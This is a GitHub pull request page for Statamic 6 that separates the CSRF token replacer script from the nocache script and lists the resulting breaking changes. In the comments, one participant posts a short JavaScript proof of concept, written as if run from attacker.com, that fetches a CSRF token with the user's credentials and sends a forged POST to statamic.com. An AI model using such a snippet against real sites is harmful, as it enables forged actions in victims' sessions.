-
-
Notifications
You must be signed in to change notification settings - Fork 597
[6.x] Decouple CSRF token from nocache script #11014
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Conversation
The position option was only introduced in statamic#10898 to allow either Livewire or nocache to work. We can revert all this code as we’ve now got a separate CSRF route that will solve the Livewire issue.
4a73e63 to
13f1ad4
Compare
|
@jasonvarga Just tagging you here to ensure you take a look at it before the release of v6 as it introduces a couple of small breaking changes. |
|
@aerni It looks like there's a couple of merge conflicts. Would you be able to take a look? |
|
Done. I had to move the code from PR #11650 from the |
|
Thanks! |
|
I could be entirely wrong, but isn't the whole point of CSRF that you can't get a token so you can't make backend requests from other domains? Wouldn't this allow anyone to request a CSRF token and then make cross site requests? |
|
The csrf token is only for that user. Its attached to their session. If you hit that route to get a new csrf token, it would be yours and attached to your session. |
|
To follow up, I think in theory this allows this attack: // On attacker.com
fetch('https://statamic.com/!/csrf', {
credentials: 'include',
})
.then(r => r.json())
.then(data => {
fetch('https://statamic.com/any-malicious-request', {
method: 'POST',
credentials: 'include',
headers: {
'X-CSRF-TOKEN': data.token
}
});
});This is the kind of attack CSRF is meant to protect against. |
|
This has been this way for a long time. This PR isn't really introducing anything new. If you want to consider this a security issue please send it appropriately and not just as a public comment. Thanks! Being in the browser is kind of the point though. That's what it's protecting against. If you do it through postman/curl, you will not have the user's session. You'd just have your own. No different from you manually visiting the site. |


What it does
This PR takes another stab at #10306 which was reverted in #10898. The
nocache_js_positionconfig option introduced in the latter PR isn't optimal, as you've got to pick your poison and choose between Livewire or nocache to work as expected.This PR picks up on the idea pointed out here and extracts the CSRF token replacer script from the nocache replacer script. The CSRF replacer script is inserted as the first script in the
head, while the nocache replacer script is placed at the end of thebody. This way, you don't have to pick the script's position and can have both Livewire and nocache work alongside each other.Note
This PR has undergone several iterations. Previously, I put the decoupling of the scripts behind a feature flag. This wasn't optimal but allowed for a non-breaking update. With the release of Statamic 6 coming close, I figured I might as well make this a breaking change.
Breaking changes
Events
The
statamic:nocache.replacedevent is no longer dispatched when the CSRF token is replaced. It is now only dispatched by the nocache script. Instead, you should use the newstatamic:csrf.replacedevent.Script replacement
The
StaticCache::nocacheJs($script)method now only replaces the nocache script. It doesn't touch the CSRF token script. Use the newStaticCache::csrfTokenJs($script)method if you want to customize the CSRF script.Removed config option
The
nocache_js_positionconfig option introduced in #10898 is obsolete now and has been removed.Testing
Here's a basic layout that you can use for testing. Note, that the CSRF token is replaced and nocache also works. Make sure to enable the new config option and full static caching.